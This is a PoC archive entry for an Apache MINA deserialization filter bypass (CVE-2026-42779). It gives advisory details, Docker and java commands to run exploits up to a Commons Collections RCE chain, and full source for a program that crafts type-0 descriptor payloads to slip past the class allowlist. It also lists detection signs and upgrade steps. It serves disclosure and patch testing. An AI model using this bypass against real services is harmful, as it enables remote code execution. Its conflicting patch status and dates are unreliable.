PoC Archive PoC Archive
Critical CVE-2026-42779 unpatched

Apache MINA acceptMatchers Deserialization Filter Bypass to RCE (CVE-2026-42779)

by Venkatraman Kumar (Securin); PoC by dinosn · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-42779
Category
network
Affected product
Apache MINA (mina-core)
Affected versions
2.1.0 - 2.1.11 (fixed 2.1.12); 2.2.0 - 2.2.6 (fixed 2.2.7)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherVenkatraman Kumar (Securin); PoC by dinosn
CVE / AdvisoryCVE-2026-42779
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
Tagsapache-mina, java, deserialization, cwe-502, gadget-chain, commons-collections, rce, filter-bypass
RelatedCVE-2026-41635 (incomplete fix that this CVE re-opens)

Affected Target

FieldValue
Software / SystemApache MINA (mina-core)
Versions Affected2.1.0 - 2.1.11 (fixed 2.1.12); 2.2.0 - 2.2.6 (fixed 2.2.7)
Language / PlatformJava, network application framework using ObjectSerializationCodecFactory
Authentication RequiredNo (network-level access to a MINA endpoint that uses ObjectSerializationCodecFactory is sufficient)
Network Access RequiredYes (raw TCP access to the MINA-based service/protocol endpoint)

Summary

CVE-2026-42779 is a deserialization filter bypass in Apache MINA’s AbstractIoBuffer.resolveClass(). Applications configure an acceptMatchers allowlist to restrict which Java classes ObjectSerializationCodecFactory may deserialize, but the allowlist check is only reached when ObjectStreamClass.forClass() returns non-null; when it returns null (as it does for “type-0” class descriptors covering non-Serializable classes, primitives, and arrays), resolveClass() calls Class.forName() directly with no filter check at all. By crafting a payload that uses type-0 descriptors for classes that are actually Serializable gadget-chain classes, an attacker bypasses the allowlist entirely and achieves full RCE via standard Java deserialization gadget chains (e.g. Commons Collections). This is an incomplete-fix re-opening of CVE-2026-41635 that was never backported to the 2.1.x/2.2.x branches. The PoC includes three escalating Java programs plus a Docker/Makefile harness and before/after screenshots.


Vulnerability Details

Root Cause

AbstractIoBuffer.resolveClass() calls desc.forClass() first; if it returns a non-null Class, the acceptMatchers filter is applied. If it returns null (the “type-0” branch used for non-Serializable classes, primitives, and arrays in MINA’s custom serialization protocol), the method falls through to Class.forName(name, false, classLoader) with no filter check whatsoever. Because the attacker fully controls the serialized byte stream, they can encode Serializable gadget-chain classes using type-0 descriptors instead of the expected type-1 form, causing every class in the deserialization graph to bypass acceptMatchers regardless of the application’s configured allowlist. The 2.1.12/2.2.7 fix moves the filter check before the forClass() branch so it always applies.

Attack Vector

  1. Target application exposes a MINA-based network endpoint using IoBuffer.getObject() / ObjectSerializationCodecFactory, with an acceptMatchers filter configured (unfiltered apps were already exploitable via the earlier CVE-2026-41635).
  2. A gadget-chain library (e.g. Commons Collections) is present on the target’s classpath.
  3. Attacker crafts a MINA protocol payload encoding gadget-chain classes with type-0 (non-Serializable-style) class descriptors instead of type-1.
  4. readClassDescriptor() delegates to standard Java deserialization for the type-0 descriptor; resolveClass() sees forClass() == null and calls Class.forName() without checking acceptMatchers.
  5. The full gadget chain (e.g. CC6: HashSet -> TiedMapEntry -> LazyMap -> ChainedTransformer -> Runtime.exec()) is deserialized and triggered via readObject(), achieving remote code execution.

Impact

Remote code execution on any network service built on Apache MINA 2.1.0-2.1.11 / 2.2.0-2.2.6 that uses ObjectSerializationCodecFactory with an acceptMatchers allowlist and has a usable gadget-chain library on the classpath — the allowlist provides no protection.


Environment / Lab Setup

Target:   Apache MINA 2.2.6 (vulnerable, bundled as lib/mina-core-2.2.6.jar) vs. 2.2.7 (patched)
Attacker: JDK 11+, Maven (source build) or Docker; commons-collections-3.2.2.jar for the RCE gadget chain (bundled in lib/)

Proof of Concept

PoC Script

See FilterBypassPoC.java, CraftedBypassPoC.java, RcePoC.java, Dockerfile, entrypoint.sh, Makefile, lib/ (bundled mina-core-2.2.6.jar and commons-collections-3.2.2.jar), and screenshots/ in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779            # runs all three PoCs
docker run --rm cve-2026-42779 bypass     # filter bypass only
docker run --rm cve-2026-42779 crafted    # crafted payload bypass
docker run --rm cve-2026-42779 rce        # full RCE

javac -cp lib/mina-core-2.2.6.jar FilterBypassPoC.java
java -cp .:lib/mina-core-2.2.6.jar FilterBypassPoC
javac -cp lib/mina-core-2.2.6.jar CraftedBypassPoC.java
java -cp .:lib/mina-core-2.2.6.jar CraftedBypassPoC
javac -cp lib/mina-core-2.2.6.jar:lib/commons-collections-3.2.2.jar RcePoC.java
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
     --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -cp .:lib/mina-core-2.2.6.jar:lib/commons-collections-3.2.2.jar RcePoC

make run-all

FilterBypassPoC demonstrates the filter bypass for primitives, non-Serializable classes, and arrays; CraftedBypassPoC shows an attacker-crafted type-0 payload bypassing the filter for an arbitrary Serializable class; RcePoC chains a CC6 Commons Collections gadget through the bypass to achieve full command execution. Screenshots in screenshots/ show each test passing (bypassed) against vulnerable MINA 2.2.6 and being blocked against patched 2.2.7.


Detection & Indicators of Compromise

Signs of compromise:

  • JVM crash dumps or logs referencing ClassNotFoundException/gadget classes (e.g. TiedMapEntry, ChainedTransformer) around a MINA service
  • Anomalous outbound connections or spawned shell processes from a MINA-based server process
  • Presence of unexpected classes on the classpath being exercised via deserialization (Commons Collections, Spring beans, etc.)

Remediation

ActionDetail
Primary fixUpgrade Apache MINA to 2.1.12 or 2.2.7, which apply the acceptMatchers filter before the forClass() branch check
Interim mitigationAvoid using IoBuffer.getObject() / ObjectSerializationCodecFactory with untrusted input; add a JEP 290 (ObjectInputFilter) serialization filter as a defense-in-depth layer; remove unnecessary gadget-chain libraries (Commons Collections, etc.) from the classpath

References


Notes

Mirrored from https://github.com/dinosn/CVE-2026-42779 on 2026-07-05.

CraftedBypassPoC.java
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
import org.apache.mina.core.buffer.IoBuffer;
import java.io.*;
import java.util.*;

/**
 * CVE-2026-42779 — Crafted payload bypass for Serializable classes
 *
 * Demonstrates that an attacker can bypass the acceptMatchers filter for
 * ANY class (including Serializable gadget chain classes) by crafting a
 * MINA protocol payload that uses type-0 descriptors instead of type-1.
 *
 * The attack: type-0 descriptors cause readClassDescriptor() to delegate
 * to super.readClassDescriptor() (standard Java format). Then resolveClass()
 * sees forClass()==null and calls Class.forName() WITHOUT checking acceptMatchers.
 *
 * This is the practical exploitation path: an attacker with network access
 * to a MINA endpoint using ObjectSerializationCodecFactory can send a
 * crafted stream that loads arbitrary classes past the filter, enabling
 * gadget chain RCE if a suitable library is on the classpath.
 */
public class CraftedBypassPoC {

    public static void main(String[] args) throws Exception {
        System.out.println("=== CVE-2026-42779 — Crafted type-0 descriptor bypass ===\n");

        testCraftedSerializableBypass();
        testCraftedComplexObjectBypass();

        System.out.println("\n[*] Crafted bypass tests completed.");
    }

    /**
     * Craft a MINA protocol payload where Serializable classes use type-0
     * descriptors. This forces the null-clazz path in resolveClass(),
     * bypassing acceptMatchers entirely.
     */
    static byte[] craftPayload(Object obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        // Write the ObjectOutputStream data with type-0 descriptors for ALL classes
        try (ObjectOutputStream oos = new ObjectOutputStream(baos) {
            @Override
            protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
                // ATTACK: write type 0 (non-Serializable path) for ALL classes
                // This forces the receiver's readClassDescriptor() to delegate to
                // super.readClassDescriptor(), producing an ObjectStreamClass where
                // forClass() returns null, which skips the acceptMatchers check.
                write(0);
                super.writeClassDescriptor(desc);
            }
        }) {
            oos.writeObject(obj);
            oos.flush();
        }

        byte[] objData = baos.toByteArray();

        // Wrap in MINA's 4-byte-length-prefixed format
        ByteArrayOutputStream minaStream = new ByteArrayOutputStream();
        DataOutputStream dos = new DataOutputStream(minaStream);
        dos.writeInt(objData.length);
        dos.write(objData);

        return minaStream.toByteArray();
    }

    /**
     * Test: Bypass filter for HashMap (Serializable, NOT in accept list).
     * Normal putObject() would write type-1 and resolveClass() would reject it.
     * Crafted type-0 payload bypasses the filter entirely.
     */
    static void testCraftedSerializableBypass() throws Exception {
        System.out.println("[Test 1] Crafted bypass for HashMap (Serializable class)");
        System.out.println("  Accept list: [String] only");
        System.out.println("  Payload class: HashMap<String,String> (NOT accepted)");

        // Create attacker's payload — a HashMap (not in accept list)
        HashMap<String, String> payload = new HashMap<>();
        payload.put("attacker", "controlled-data");
        payload.put("bypass", "acceptMatchers-filter");

        byte[] crafted = craftPayload(payload);
        System.out.println("  Crafted payload: " + crafted.length + " bytes");

        // Victim: IoBuffer with restrictive accept list
        IoBuffer buf = IoBuffer.allocate(crafted.length);
        buf.setAutoExpand(true);
        buf.accept(String.class.getName());  // Only String allowed

        buf.put(crafted);
        buf.flip();

        try {
            Object result = buf.getObject();
            System.out.println("  [VULNERABLE] Deserialized: " + result);
            System.out.println("  HashMap loaded past accept filter via type-0 bypass!");
            System.out.println("  Attacker data: " + ((HashMap<?,?>)result).get("attacker"));
        } catch (ClassNotFoundException e) {
            System.out.println("  [PATCHED] ClassNotFoundException: " + e.getMessage());
        }
    }

    /**
     * Test: Bypass filter for a complex nested object with multiple classes.
     * Shows that ALL classes in a deep object graph bypass the filter.
     */
    static void testCraftedComplexObjectBypass() throws Exception {
        System.out.println("\n[Test 2] Crafted bypass for nested object graph");
        System.out.println("  Accept list: [String] only");
        System.out.println("  Payload: ArrayList<HashMap<String, Date>>");

        ArrayList<Object> payload = new ArrayList<>();
        HashMap<String, Date> inner = new HashMap<>();
        inner.put("timestamp", new Date());
        payload.add(inner);
        payload.add("marker");

        byte[] crafted = craftPayload(payload);
        System.out.println("  Crafted payload: " + crafted.length + " bytes");

        IoBuffer buf = IoBuffer.allocate(crafted.length);
        buf.setAutoExpand(true);
        buf.accept(String.class.getName());  // Only String allowed

        buf.put(crafted);
        buf.flip();

        try {
            Object result = buf.getObject();
            @SuppressWarnings("unchecked")
            ArrayList<Object> list = (ArrayList<Object>) result;
            System.out.println("  [VULNERABLE] Deserialized " + list.size() + " items:");
            System.out.println("    [0] HashMap: " + list.get(0));
            System.out.println("    [1] String: " + list.get(1));
            System.out.println("  ALL classes bypassed filter: ArrayList, HashMap, Date, String");
        } catch (ClassNotFoundException e) {
            System.out.println("  [PATCHED] ClassNotFoundException: " + e.getMessage());
        }
    }
}